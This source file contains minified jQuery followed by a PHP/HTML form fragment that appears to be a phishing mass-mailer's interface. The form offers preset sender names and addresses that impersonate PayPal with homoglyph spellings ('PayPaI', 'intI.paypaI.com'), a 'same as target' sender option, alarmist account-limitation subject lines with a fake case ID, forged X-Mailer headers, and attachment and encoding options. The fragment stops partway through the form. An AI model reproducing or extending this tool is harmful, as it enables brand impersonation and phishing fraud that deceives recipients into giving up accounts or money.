");if(cur){j=0;while((clazz=classes[j++])){if(cur.indexOf(" "+clazz+" ")<0){cur+=clazz+" "}}finalValue=jQuery.trim(cur);if(elem.className!==finalValue){elem.className=finalValue}}}}return this},removeClass:function(value){var classes,elem,cur,clazz,j,finalValue,i=0,len=this.length,proceed=arguments.length===0||typeof value==="string"&&value;if(jQuery.isFunction(value)){return this.each(function(j){jQuery(this).removeClass(value.call(this,j,this.className))})}if(proceed){classes=(value||"").match(rnotwhite)||[];for(;i<len;i++){elem=this[i];cur=elem.nodeType===1&&(elem.className?(" "+elem.className+" ").replace(rclass," "):"");if(cur){j=0;while((clazz=classes[j++])){while(cur.indexOf(" "+clazz+" ")>=0){cur=cur.replace(" "+clazz+" "," ")}}finalValue=value?jQuery.trim(cur):"";if(elem.className!==finalValue){elem.className=finalValue}}}}return this},toggleClass:function(value,stateVal){var type=typeof value;if(typeof stateVal==="boolean"&&type==="string"){return stateVal?this.addClass(value):this.removeClass(value)}if(jQuery.isFunction(value)){return this.each(function(i){jQuery(this).toggleClass(value.call(this,i,this.className,stateVal),stateVal)})}return this.each(function(){if(type==="string"){var className,i=0,self=jQuery(this),classNames=value.match(rnotwhite)||[];while((className=classNames[i++])){if(self.hasClass(className)){self.removeClass(className)}else{self.addClass(className)}}}else if(type===strundefined||type==="boolean"){if(this.className){jQuery._data(this,"__className__",this.className)}this.className=this.className||value===false?"":jQuery._data(this,"__className__")||""}})},hasClass:function(selector){var className=" "+selector+" ",i=0,l=this.length;for(;i<l;i++){if(this[i].nodeType===1&&(" "+this[i].className+" ").replace(rclass," ").indexOf(className)>=0){return true}}return false}});jQuery.each(("blur focus focusin focusout load resize scroll unload click dblclick "+"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave "+"change select submit keydown keypress keyup error contextmenu").split(" "),function(i,name){jQuery.fn[name]=function(data,fn){return arguments.length>0?this.on(name,null,data,fn):this.trigger(name)}});jQuery.fn.extend({hover:function(fnOver,fnOut){return this.mouseenter(fnOver).mouseleave(fnOut||fnOver)},bind:function(types,data,fn){return this.on(types,null,data,fn)},unbind:function(types,fn){return this.off(types,null,fn)},delegate:function(selector,types,data,fn){return this.on(types,selector,data,fn)},undelegate:function(selector,types,fn){return arguments.length===1?this.off(selector,"**"):this.off(types,selector||"**",fn)}});var nonce=jQuery.now();var rquery=(/\?/);var rvalidtokens=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;jQuery.parseJSON=function(data){if(window.JSON&&window.JSON.parse){return window.JSON.parse(data+"")}var requireNonComma,depth=null,str=jQuery.trim(data+"");return str&&!jQuery.trim(str.replace(rvalidtokens,function(token,comma,open,close){if(requireNonComma&&comma){depth=0}if(depth===0){return token}requireNonComma=open||comma;depth+=!close-!open;return""}))?(Function("return "+str))():jQuery.error("Invalid JSON: "+data)};jQuery.parseXML=function(data){var xml,tmp;if(!data||typeof data!=="string"){return null}try{if(window.DOMParser){tmp=new DOMParser();xml=tmp.parseFromString(data,"text/xml")}else{xml=new ActiveXObject("Microsoft.XMLDOM");xml.async="false";xml.loadXML(data)}}catch(e){xml=undefined}if(!xml||!xml.documentElement||xml.getElementsByTagName("parsererror").length){jQuery.error("Invalid XML: "+data)}return xml};var ajaxLocParts,ajaxLocation,rhash=/#.*$/,rts=/([?&])_=[^&]*/,rheaders=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,rlocalProtocol=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,rnoContent=/^(?:GET|HEAD)$/,rprotocol=/^\/\//,rurl=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,prefilters={},transports={},allTypes="*/".concat("*");try{ajaxLocation=location.href}catch(e){ajaxLocation=document.createElement("a");ajaxLocation.href="";ajaxLocation=ajaxLocation.href}ajaxLocParts=rurl.exec(ajaxLocation.toLowerCase())||[];function addToPrefiltersOrTransports(structure){return function(dataTypeExpression,func){if(typeof dataTypeExpression!=="string"){func=dataTypeExpression;dataTypeExpression="*"}var dataType,i=0,dataTypes=dataTypeExpression.toLowerCase().match(rnotwhite)||[];if(jQuery.isFunction(func)){while((dataType=dataTypes[i++])){if(dataType.charAt(0)==="+"){dataType=dataType.slice(1)||"*";(structure[dataType]=structure[dataType]||[]).unshift(func)}else{(structure[dataType]=structure[dataType]||[]).push(func)}}}}}function inspectPrefiltersOrTransports(structure,options,originalOptions,jqXHR){var inspected={},seekingTransport=(structure===transports);function inspect(dataType){var selected;inspected[dataType]=true;jQuery.each(structure[dataType]||[],function(_,prefilterOrFactory){var dataTypeOrTransport=prefilterOrFactory(options,originalOptions,jqXHR);if(typeof dataTypeOrTransport==="string"&&!seekingTransport&&!inspected[dataTypeOrTransport]){options.dataTypes.unshift(dataTypeOrTransport);inspect(dataTypeOrTransport);return false}else if(seekingTransport){return!(selected=dataTypeOrTransport)}});return selected}return inspect(options.dataTypes[0])||!inspected["*"]&&inspect("*")}function ajaxExtend(target,src){var deep,key,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:(deep||(deep={})))[key]=src[key]}}if(deep){jQuery.extend(true,target,deep)}return target}function ajaxHandleResponses(s,jqXHR,responses){var firstDataType,ct,finalDataType,type,contents=s.contents,dataTypes=s.dataTypes;while(dataTypes[0]==="*"){dataTypes.shift();if(ct===undefined){ct=s.mimeType||jqXHR.getResponseHeader("Content-Type")}}if(ct){for(type in contents){if(contents[type]&&contents[type].test(ct)){dataTypes.unshift(type);break}}}if(dataTypes[0]in responses){finalDataType=dataTypes[0]}else{for(type in responses){if(!dataTypes[0]||s.converters[type+" "+dataTypes[0]]){finalDataType=type;break}if(!firstDataType){firstDataType=type}}finalDataType=finalDataType||firstDataType}if(finalDataType){if(finalDataType!==dataTypes[0]){dataTypes.unshift(finalDataType)}return responses[finalDataType]}}function ajaxConvert(s,response,jqXHR,isSuccess){var conv2,current,conv,tmp,prev,converters={},dataTypes=s.dataTypes.slice();if(dataTypes[1]){for(conv in s.converters){converters[conv.toLowerCase()]=s.converters[conv]}}current=dataTypes.shift();while(current){if(s.responseFields[current]){jqXHR[s.responseFields[current]]=response}if(!prev&&isSuccess&&s.dataFilter){response=s.dataFilter(response,s.dataType)}prev=current;current=dataTypes.shift();if(current){if(current==="*"){current=prev}else if(prev!=="*"&&prev!==current){conv=converters[prev+" "+current]||converters["* "+current];if(!conv){for(conv2 in converters){tmp=conv2.split(" ");if(tmp[1]===current){conv=converters[prev+" "+tmp[0]]||converters["* "+tmp[0]];if(conv){if(conv===true){conv=converters[conv2]}else if(converters[conv2]!==true){current=tmp[0];dataTypes.unshift(tmp[1])}break}}}}if(conv!==true){if(conv&&s["throws"]){response=conv(response)}else{try{response=conv(response)}catch(e){return{state:"parsererror",error:conv?e:"No conversion from "+prev+" to "+current}}}}}}}return{state:"success",data:response}}jQuery.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:ajaxLocation,type:"GET",isLocal:rlocalProtocol.test(ajaxLocParts[1]),global:true,processData:true,async:true,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":allTypes,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":true,"text json":jQuery.parseJSON,"text xml":jQuery.parseXML},flatOptions:{url:true,context:true}},ajaxSetup:function(target,settings){return settings?ajaxExtend(ajaxExtend(target,jQuery.ajaxSettings),settings):ajaxExtend(jQuery.ajaxSettings,target)},ajaxPrefilter:addToPrefiltersOrTransports(prefilters),ajaxTransport:addToPrefiltersOrTransports(transports),ajax:function(url,options){if(typeof url==="object"){options=url;url=undefined}options=options||{};var parts,i,cacheURL,responseHeadersString,timeoutTimer,fireGlobals,transport,responseHeaders,s=jQuery.ajaxSetup({},options),callbackContext=s.context||s,globalEventContext=s.context&&(callbackContext.nodeType||callbackContext.jquery)?jQuery(callbackContext):jQuery.event,deferred=jQuery.Deferred(),completeDeferred=jQuery.Callbacks("once memory"),statusCode=s.statusCode||{},requestHeaders={},requestHeadersNames={},state=0,strAbort="canceled",jqXHR={readyState:0,getResponseHeader:function(key){var match;if(state===2){if(!responseHeaders){responseHeaders={};while((match=rheaders.exec(responseHeadersString))){responseHeaders[match[1].toLowerCase()]=match[2]}}match=responseHeaders[key.toLowerCase()]}return match==null?null:match},getAllResponseHeaders:function(){return state===2?responseHeadersString:null},setRequestHeader:function(name,value){var lname=name.toLowerCase();if(!state){name=requestHeadersNames[lname]=requestHeadersNames[lname]||name;requestHeaders[name]=value}return this},overrideMimeType:function(type){if(!state){s.mimeType=type}return this},statusCode:function(map){var code;if(map){if(state<2){for(code in map){statusCode[code]=[statusCode[code],map[code]]}}else{jqXHR.always(map[jqXHR.status])}}return this},abort:function(statusText){var finalText=statusText||strAbort;if(transport){transport.abort(finalText)}done(0,finalText);return this}};deferred.promise(jqXHR).complete=completeDeferred.add;jqXHR.success=jqXHR.done;jqXHR.error=jqXHR.fail;s.url=((url||s.url||ajaxLocation)+"").replace(rhash,"").replace(rprotocol,ajaxLocParts[1]+"//");s.type=options.method||options.type||s.method||s.type;s.dataTypes=jQuery.trim(s.dataType||"*").toLowerCase().match(rnotwhite)||[""];if(s.crossDomain==null){parts=rurl.exec(s.url.toLowerCase());s.crossDomain=!!(parts&&(parts[1]!==ajaxLocParts[1]||parts[2]!==ajaxLocParts[2]||(parts[3]||(parts[1]==="http:"?"80":"443"))!==(ajaxLocParts[3]||(ajaxLocParts[1]==="http:"?"80":"443"))))}if(s.data&&s.processData&&typeof s.data!=="string"){s.data=jQuery.param(s.data,s.traditional)}inspectPrefiltersOrTransports(prefilters,s,options,jqXHR);if(state===2){return jqXHR}fireGlobals=jQuery.event&&s.global;if(fireGlobals&&jQuery.active++===0){jQuery.event.trigger("ajaxStart")}s.type=s.type.toUpperCase();s.hasContent=!rnoContent.test(s.type);cacheURL=s.url;if(!s.hasContent){if(s.data){cacheURL=(s.url+=(rquery.test(cacheURL)?"&":"?")+s.data);delete s.data}if(s.cache===false){s.url=rts.test(cacheURL)?cacheURL.replace(rts,"$1_="+nonce++):cacheURL+(rquery.test(cacheURL)?"&":"?")+"_="+nonce++}}if(s.ifModified){if(jQuery.lastModified[cacheURL]){jqXHR.setRequestHeader("If-Modified-Since",jQuery.lastModified[cacheURL])}if(jQuery.etag[cacheURL]){jqXHR.setRequestHeader("If-None-Match",jQuery.etag[cacheURL])}}if(s.data&&s.hasContent&&s.contentType!==false||options.contentType){jqXHR.setRequestHeader("Content-Type",s.contentType)}jqXHR.setRequestHeader("Accept",s.dataTypes[0]&&s.accepts[s.dataTypes[0]]?s.accepts[s.dataTypes[0]]+(s.dataTypes[0]!=="*"?", "+allTypes+"; q=0.01":""):s.accepts["*"]);for(i in s.headers){jqXHR.setRequestHeader(i,s.headers[i])}if(s.beforeSend&&(s.beforeSend.call(callbackContext,jqXHR,s)===false||state===2)){return jqXHR.abort()}strAbort="abort";for(i in{success:1,error:1,complete:1}){jqXHR[i](s[i])}transport=inspectPrefiltersOrTransports(transports,s,options,jqXHR);if(!transport){done(-1,"No Transport")}else{jqXHR.readyState=1;if(fireGlobals){globalEventContext.trigger("ajaxSend",[jqXHR,s])}if(s.async&&s.timeout>0){timeoutTimer=setTimeout(function(){jqXHR.abort("timeout")},s.timeout)}try{state=1;transport.send(requestHeaders,done)}catch(e){if(state<2){done(-1,e)}else{throw e;}}}function done(status,nativeStatusText,responses,headers){var isSuccess,success,error,response,modified,statusText=nativeStatusText;if(state===2){return}state=2;if(timeoutTimer){clearTimeout(timeoutTimer)}transport=undefined;responseHeadersString=headers||"";jqXHR.readyState=status>0?4:0;isSuccess=status>=200&&status<300||status===304;if(responses){response=ajaxHandleResponses(s,jqXHR,responses)}response=ajaxConvert(s,response,jqXHR,isSuccess);if(isSuccess){if(s.ifModified){modified=jqXHR.getResponseHeader("Last-Modified");if(modified){jQuery.lastModified[cacheURL]=modified}modified=jqXHR.getResponseHeader("etag");if(modified){jQuery.etag[cacheURL]=modified}}if(status===204||s.type==="HEAD"){statusText="nocontent"}else if(status===304){statusText="notmodified"}else{statusText=response.state;success=response.data;error=response.error;isSuccess=!error}}else{error=statusText;if(status||!statusText){statusText="error";if(status<0){status=0}}}jqXHR.status=status;jqXHR.statusText=(nativeStatusText||statusText)+"";if(isSuccess){deferred.resolveWith(callbackContext,[success,statusText,jqXHR])}else{deferred.rejectWith(callbackContext,[jqXHR,statusText,error])}jqXHR.statusCode(statusCode);statusCode=undefined;if(fireGlobals){globalEventContext.trigger(isSuccess?"ajaxSuccess":"ajaxError",[jqXHR,s,isSuccess?success:error])}completeDeferred.fireWith(callbackContext,[jqXHR,statusText]);if(fireGlobals){globalEventContext.trigger("ajaxComplete",[jqXHR,s]);if(!(--jQuery.active)){jQuery.event.trigger("ajaxStop")}}}return jqXHR},getJSON:function(url,data,callback){return jQuery.get(url,data,callback,"json")},getScript:function(url,callback){return jQuery.get(url,undefined,callback,"script")}});jQuery.each(["get","post"],function(i,method){jQuery[method]=function(url,data,callback,type){if(jQuery.isFunction(data)){type=type||callback;callback=data;data=undefined}return jQuery.ajax({url:url,type:method,dataType:type,data:data,success:callback})}});jQuery._evalUrl=function(url){return jQuery.ajax({url:url,type:"GET",dataType:"script",async:false,global:false,"throws":true})};jQuery.fn.extend({wrapAll:function(html){if(jQuery.isFunction(html)){return this.each(function(i){jQuery(this).wrapAll(html.call(this,i))})}if(this[0]){var wrap=jQuery(html,this[0].ownerDocument).eq(0).clone(true);if(this[0].parentNode){wrap.insertBefore(this[0])}wrap.map(function(){var elem=this;while(elem.firstChild&&elem.firstChild.nodeType===1){elem=elem.firstChild}return elem}).append(this)}return this},wrapInner:function(html){if(jQuery.isFunction(html)){return this.each(function(i){jQuery(this).wrapInner(html.call(this,i))})}return this.each(function(){var self=jQuery(this),contents=self.contents();if(contents.length){contents.wrapAll(html)}else{self.append(html)}})},wrap:function(html){var isFunction=jQuery.isFunction(html);return this.each(function(i){jQuery(this).wrapAll(isFunction?html.call(this,i):html)})},unwrap:function(){return this.parent().each(function(){if(!jQuery.nodeName(this,"body")){jQuery(this).replaceWith(this.childNodes)}}).end()}});jQuery.expr.filters.hidden=function(elem){return elem.offsetWidth<=0&&elem.offsetHeight<=0||(!support.reliableHiddenOffsets()&&((elem.style&&elem.style.display)||jQuery.css(elem,"display"))==="none")};jQuery.expr.filters.visible=function(elem){return!jQuery.expr.filters.hidden(elem)};var r20=/%20/g,rbracket=/\[\]$/,rCRLF=/\r?\n/g,rsubmitterTypes=/^(?:submit|button|image|reset|file)$/i,rsubmittable=/^(?:input|select|textarea|keygen)/i;function buildParams(prefix,obj,traditional,add){var name;if(jQuery.isArray(obj)){jQuery.each(obj,function(i,v){if(traditional||rbracket.test(prefix)){add(prefix,v)}else{buildParams(prefix+"["+(typeof v==="object"?i:"")+"]",v,traditional,add)}})}else if(!traditional&&jQuery.type(obj)==="object"){for(name in obj){buildParams(prefix+"["+name+"]",obj[name],traditional,add)}}else{add(prefix,obj)}}jQuery.param=function(a,traditional){var prefix,s=[],add=function(key,value){value=jQuery.isFunction(value)?value():(value==null?"":value);s[s.length]=encodeURIComponent(key)+"="+encodeURIComponent(value)};if(traditional===undefined){traditional=jQuery.ajaxSettings&&jQuery.ajaxSettings.traditional}if(jQuery.isArray(a)||(a.jquery&&!jQuery.isPlainObject(a))){jQuery.each(a,function(){add(this.name,this.value)})}else{for(prefix in a){buildParams(prefix,a[prefix],traditional,add)}}return s.join("&").replace(r20,"+")};jQuery.fn.extend({serialize:function(){return jQuery.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var elements=jQuery.prop(this,"elements");return elements?jQuery.makeArray(elements):this}).filter(function(){var type=this.type;return this.name&&!jQuery(this).is(":disabled")&&rsubmittable.test(this.nodeName)&&!rsubmitterTypes.test(type)&&(this.checked||!rcheckableType.test(type))}).map(function(i,elem){var val=jQuery(this).val();return val==null?null:jQuery.isArray(val)?jQuery.map(val,function(val){return{name:elem.name,value:val.replace(rCRLF,"\r\n")}}):{name:elem.name,value:val.replace(rCRLF,"\r\n")}}).get()}});jQuery.ajaxSettings.xhr=window.ActiveXObject!==undefined?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&createStandardXHR()||createActiveXHR()}:createStandardXHR;var xhrId=0,xhrCallbacks={},xhrSupported=jQuery.ajaxSettings.xhr();if(window.attachEvent){window.attachEvent("onunload",function(){for(var key in xhrCallbacks){xhrCallbacks[key](undefined,true)}})}support.cors=!!xhrSupported&&("withCredentials"in xhrSupported);xhrSupported=support.ajax=!!xhrSupported;if(xhrSupported){jQuery.ajaxTransport(function(options){if(!options.crossDomain||support.cors){var callback;return{send:function(headers,complete){var i,xhr=options.xhr(),id=++xhrId;xhr.open(options.type,options.url,options.async,options.username,options.password);if(options.xhrFields){for(i in options.xhrFields){xhr[i]=options.xhrFields[i]}}if(options.mimeType&&xhr.overrideMimeType){xhr.overrideMimeType(options.mimeType)}if(!options.crossDomain&&!headers["X-Requested-With"]){headers["X-Requested-With"]="XMLHttpRequest"}for(i in headers){if(headers[i]!==undefined){xhr.setRequestHeader(i,headers[i]+"")}}xhr.send((options.hasContent&&options.data)||null);callback=function(_,isAbort){var status,statusText,responses;if(callback&&(isAbort||xhr.readyState===4)){delete xhrCallbacks[id];callback=undefined;xhr.onreadystatechange=jQuery.noop;if(isAbort){if(xhr.readyState!==4){xhr.abort()}}else{responses={};status=xhr.status;if(typeof xhr.responseText==="string"){responses.text=xhr.responseText}try{statusText=xhr.statusText}catch(e){statusText=""}if(!status&&options.isLocal&&!options.crossDomain){status=responses.text?200:404}else if(status===1223){status=204}}}if(responses){complete(status,statusText,responses,xhr.getAllResponseHeaders())}};if(!options.async){callback()}else if(xhr.readyState===4){setTimeout(callback)}else{xhr.onreadystatechange=xhrCallbacks[id]=callback}},abort:function(){if(callback){callback(undefined,true)}}}}})}function createStandardXHR(){try{return new window.XMLHttpRequest()}catch(e){}}function createActiveXHR(){try{return new window.ActiveXObject("Microsoft.XMLHTTP")}catch(e){}}jQuery.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(text){jQuery.globalEval(text);return text}}});jQuery.ajaxPrefilter("script",function(s){if(s.cache===undefined){s.cache=false}if(s.crossDomain){s.type="GET";s.global=false}});jQuery.ajaxTransport("script",function(s){if(s.crossDomain){var script,head=document.head||jQuery("head")[0]||document.documentElement;return{send:function(_,callback){script=document.createElement("script");script.async=true;if(s.scriptCharset){script.charset=s.scriptCharset}script.src=s.url;script.onload=script.onreadystatechange=function(_,isAbort){if(isAbort||!script.readyState||/loaded|complete/.test(script.readyState)){script.onload=script.onreadystatechange=null;if(script.parentNode){script.parentNode.removeChild(script)}script=null;if(!isAbort){callback(200,"success")}}};head.insertBefore(script,head.firstChild)},abort:function(){if(script){script.onload(undefined,true)}}}}});var oldCallbacks=[],rjsonp=/(=)\?(?=&|$)|\?\?/;jQuery.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var callback=oldCallbacks.pop()||(jQuery.expando+"_"+(nonce++));this[callback]=true;return callback}});jQuery.ajaxPrefilter("json jsonp",function(s,originalSettings,jqXHR){var callbackName,overwritten,responseContainer,jsonProp=s.jsonp!==false&&(rjsonp.test(s.url)?"url":typeof s.data==="string"&&!(s.contentType||"").indexOf("application/x-www-form-urlencoded")&&rjsonp.test(s.data)&&"data");if(jsonProp||s.dataTypes[0]==="jsonp"){callbackName=s.jsonpCallback=jQuery.isFunction(s.jsonpCallback)?s.jsonpCallback():s.jsonpCallback;if(jsonProp){s[jsonProp]=s[jsonProp].replace(rjsonp,"$1"+callbackName)}else if(s.jsonp!==false){s.url+=(rquery.test(s.url)?"&":"?")+s.jsonp+"="+callbackName}s.converters["script json"]=function(){if(!responseContainer){jQuery.error(callbackName+" was not called")}return responseContainer[0]};s.dataTypes[0]="json";overwritten=window[callbackName];window[callbackName]=function(){responseContainer=arguments};jqXHR.always(function(){window[callbackName]=overwritten;if(s[callbackName]){s.jsonpCallback=originalSettings.jsonpCallback;oldCallbacks.push(callbackName)}if(responseContainer&&jQuery.isFunction(overwritten)){overwritten(responseContainer[0])}responseContainer=overwritten=undefined});return"script"}});jQuery.parseHTML=function(data,context,keepScripts){if(!data||typeof data!=="string"){return null}if(typeof context==="boolean"){keepScripts=context;context=false}context=context||document;var parsed=rsingleTag.exec(data),scripts=!keepScripts&&[];if(parsed){return[context.createElement(parsed[1])]}parsed=jQuery.buildFragment([data],context,scripts);if(scripts&&scripts.length){jQuery(scripts).remove()}return jQuery.merge([],parsed.childNodes)};var _load=jQuery.fn.load;jQuery.fn.load=function(url,params,callback){if(typeof url!=="string"&&_load){return _load.apply(this,arguments)}var selector,response,type,self=this,off=url.indexOf(" ");if(off>=0){selector=jQuery.trim(url.slice(off,url.length));url=url.slice(0,off)}if(jQuery.isFunction(params)){callback=params;params=undefined}else if(params&&typeof params==="object"){type="POST"}if(self.length>0){jQuery.ajax({url:url,type:type,dataType:"html",data:params}).done(function(responseText){response=arguments;self.html(selector?jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector):responseText)}).complete(callback&&function(jqXHR,status){self.each(callback,response||[jqXHR.responseText,status,jqXHR])})}return this};jQuery.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(i,type){jQuery.fn[type]=function(fn){return this.on(type,fn)}});jQuery.expr.filters.animated=function(elem){return jQuery.grep(jQuery.timers,function(fn){return elem===fn.elem}).length};var docElem=window.document.documentElement;function getWindow(elem){return jQuery.isWindow(elem)?elem:elem.nodeType===9?elem.defaultView||elem.parentWindow:false}jQuery.offset={setOffset:function(elem,options,i){var curPosition,curLeft,curCSSTop,curTop,curOffset,curCSSLeft,calculatePosition,position=jQuery.css(elem,"position"),curElem=jQuery(elem),props={};if(position==="static"){elem.style.position="relative"}curOffset=curElem.offset();curCSSTop=jQuery.css(elem,"top");curCSSLeft=jQuery.css(elem,"left");calculatePosition=(position==="absolute"||position==="fixed")&&jQuery.inArray("auto",[curCSSTop,curCSSLeft])>-1;if(calculatePosition){curPosition=curElem.position();curTop=curPosition.top;curLeft=curPosition.left}else{curTop=parseFloat(curCSSTop)||0;curLeft=parseFloat(curCSSLeft)||0}if(jQuery.isFunction(options)){options=options.call(elem,i,curOffset)}if(options.top!=null){props.top=(options.top-curOffset.top)+curTop}if(options.left!=null){props.left=(options.left-curOffset.left)+curLeft}if("using"in options){options.using.call(elem,props)}else{curElem.css(props)}}};jQuery.fn.extend({offset:function(options){if(arguments.length){return options===undefined?this:this.each(function(i){jQuery.offset.setOffset(this,options,i)})}var docElem,win,box={top:0,left:0},elem=this[0],doc=elem&&elem.ownerDocument;if(!doc){return}docElem=doc.documentElement;if(!jQuery.contains(docElem,elem)){return box}if(typeof elem.getBoundingClientRect!==strundefined){box=elem.getBoundingClientRect()}win=getWindow(doc);return{top:box.top+(win.pageYOffset||docElem.scrollTop)-(docElem.clientTop||0),left:box.left+(win.pageXOffset||docElem.scrollLeft)-(docElem.clientLeft||0)}},position:function(){if(!this[0]){return}var offsetParent,offset,parentOffset={top:0,left:0},elem=this[0];if(jQuery.css(elem,"position")==="fixed"){offset=elem.getBoundingClientRect()}else{offsetParent=this.offsetParent();offset=this.offset();if(!jQuery.nodeName(offsetParent[0],"html")){parentOffset=offsetParent.offset()}parentOffset.top+=jQuery.css(offsetParent[0],"borderTopWidth",true);parentOffset.left+=jQuery.css(offsetParent[0],"borderLeftWidth",true)}return{top:offset.top-parentOffset.top-jQuery.css(elem,"marginTop",true),left:offset.left-parentOffset.left-jQuery.css(elem,"marginLeft",true)}},offsetParent:function(){return this.map(function(){var offsetParent=this.offsetParent||docElem;while(offsetParent&&(!jQuery.nodeName(offsetParent,"html")&&jQuery.css(offsetParent,"position")==="static")){offsetParent=offsetParent.offsetParent}return offsetParent||docElem})}});jQuery.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(method,prop){var top=/Y/.test(prop);jQuery.fn[method]=function(val){return access(this,function(elem,method,val){var win=getWindow(elem);if(val===undefined){return win?(prop in win)?win[prop]:win.document.documentElement[method]:elem[method]}if(win){win.scrollTo(!top?val:jQuery(win).scrollLeft(),top?val:jQuery(win).scrollTop())}else{elem[method]=val}},method,val,arguments.length,null)}});jQuery.each(["top","left"],function(i,prop){jQuery.cssHooks[prop]=addGetHookIf(support.pixelPosition,function(elem,computed){if(computed){computed=curCSS(elem,prop);return rnumnonpx.test(computed)?jQuery(elem).position()[prop]+"px":computed}})});jQuery.each({Height:"height",Width:"width"},function(name,type){jQuery.each({padding:"inner"+name,content:type,"":"outer"+name},function(defaultExtra,funcName){jQuery.fn[funcName]=function(margin,value){var chainable=arguments.length&&(defaultExtra||typeof margin!=="boolean"),extra=defaultExtra||(margin===true||value===true?"margin":"border");return access(this,function(elem,type,value){var doc;if(jQuery.isWindow(elem)){return elem.document.documentElement["client"+name]}if(elem.nodeType===9){doc=elem.documentElement;return Math.max(elem.body["scroll"+name],doc["scroll"+name],elem.body["offset"+name],doc["offset"+name],doc["client"+name])}return value===undefined?jQuery.css(elem,type,extra):jQuery.style(elem,type,value,extra)},type,chainable?margin:undefined,chainable,null)}})});jQuery.fn.size=function(){return this.length};jQuery.fn.andSelf=jQuery.fn.addBack;if(typeof define==="function"&&define.amd){define("jquery",[],function(){return jQuery})}var _jQuery=window.jQuery,_$=window.$;jQuery.noConflict=function(deep){if(window.$===jQuery){window.$=_$}if(deep&&window.jQuery===jQuery){window.jQuery=_jQuery}return jQuery};if(typeof noGlobal===strundefined){window.jQuery=window.$=jQuery}return jQuery}));</script> </div>
181
182 <div class="col-sm-4" style="padding-left: 7.5px !important;">
183 <div style="margin-bottom: 10px" class="input-group">
184 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
185 <select class="form-control" name="type">
186 <option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
187 <option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
188 </select>
189 </div>
190 <div style="margin-bottom: 10px" class="input-group">
191 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
192 <select class="form-control" onChange="Pilih4(this);">
193 <option value="">No X-Mailer</option>
194 <option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
195 <option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
196 <option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
197 <option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
198 </select>
199 <input id="xmailer" type="text" class="form-control" name="xmailer" value="<?=$xmailer;?>" placeholder="X-Mailer">
200 </div>
201 </div>
202 </div>
203
204 <div class="col-sm-8" style="padding-right: 7.5px !important;">
205
206 <div style="margin-bottom: 10px" class="input-group">
207 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
208 <select class="form-control" onChange="Pilih1(this);">
209 <option value="">Select Sender Name</option>
210 <option value="PayPaI">PayPaI</option>
211 <option value="PaypaI Service">PaypaI Service</option>
212 <option value="PaypaI Support">PaypaI Support</option>
213 <option value="Account Service">Account Service</option>
214 <option value="Account Support">Account Support</option>
215 <option value="Service">Service</option>
216 </select>
217 <input id="sender-name" type="text" class="form-control" name="nama" value="<?=$nama;?>" placeholder="Type Sender Name">
218 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
219 <select class="form-control kanan" onChange="Pilih2(this);">
220 <option value="">Select Sender Email</option>
221 <option value="service@intI.paypaI.com">service@intI.paypaI.com</option>
222 <option value="service@paypaI.co.uk">service@paypaI.co.uk</option>
223 <option value="paypaI@e.paypaI.co.uk">paypaI@e.paypaI.co.uk</option>
224 <option value="no-reply">no-reply</option>
225 <option value="admin">admin</option>
226 <option value="service">service</option>
227 <option value="same as target">same as target</option>
228
229 </select>
230 <input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?=$email;?>" placeholder="Type Sender Email">
231 </div>
232
233 <div style="margin-bottom: 10px" class="input-group">
234 <span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
235 <select class="form-control kanan" onChange="Pilih3(this);">
236 <option value="">Select Email Subject</option>
237 <option value="Your account has been Iimited untiI we hear from you">Your account has been Iimited untiI we hear from you</option>
238 <option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)</option>
239 <option value="We've Iimited access to your PayPaI account">We've Iimited access to your PayPaI account</option>
240 <option value="Account Notification">Account Notification</option>
241 <option value="Attention: Your account status change">Attention: Your account status change</option>
242
243 </select>
244 <input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?=$subject;?>" placeholder="Type Subject">
245 </div>
246
247 <div style="margin-bottom: 5px" class="input-group">
248 <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
249 <input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
250 <span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
251 <select class="form-control" name="encode">
252 <option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
253 <option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
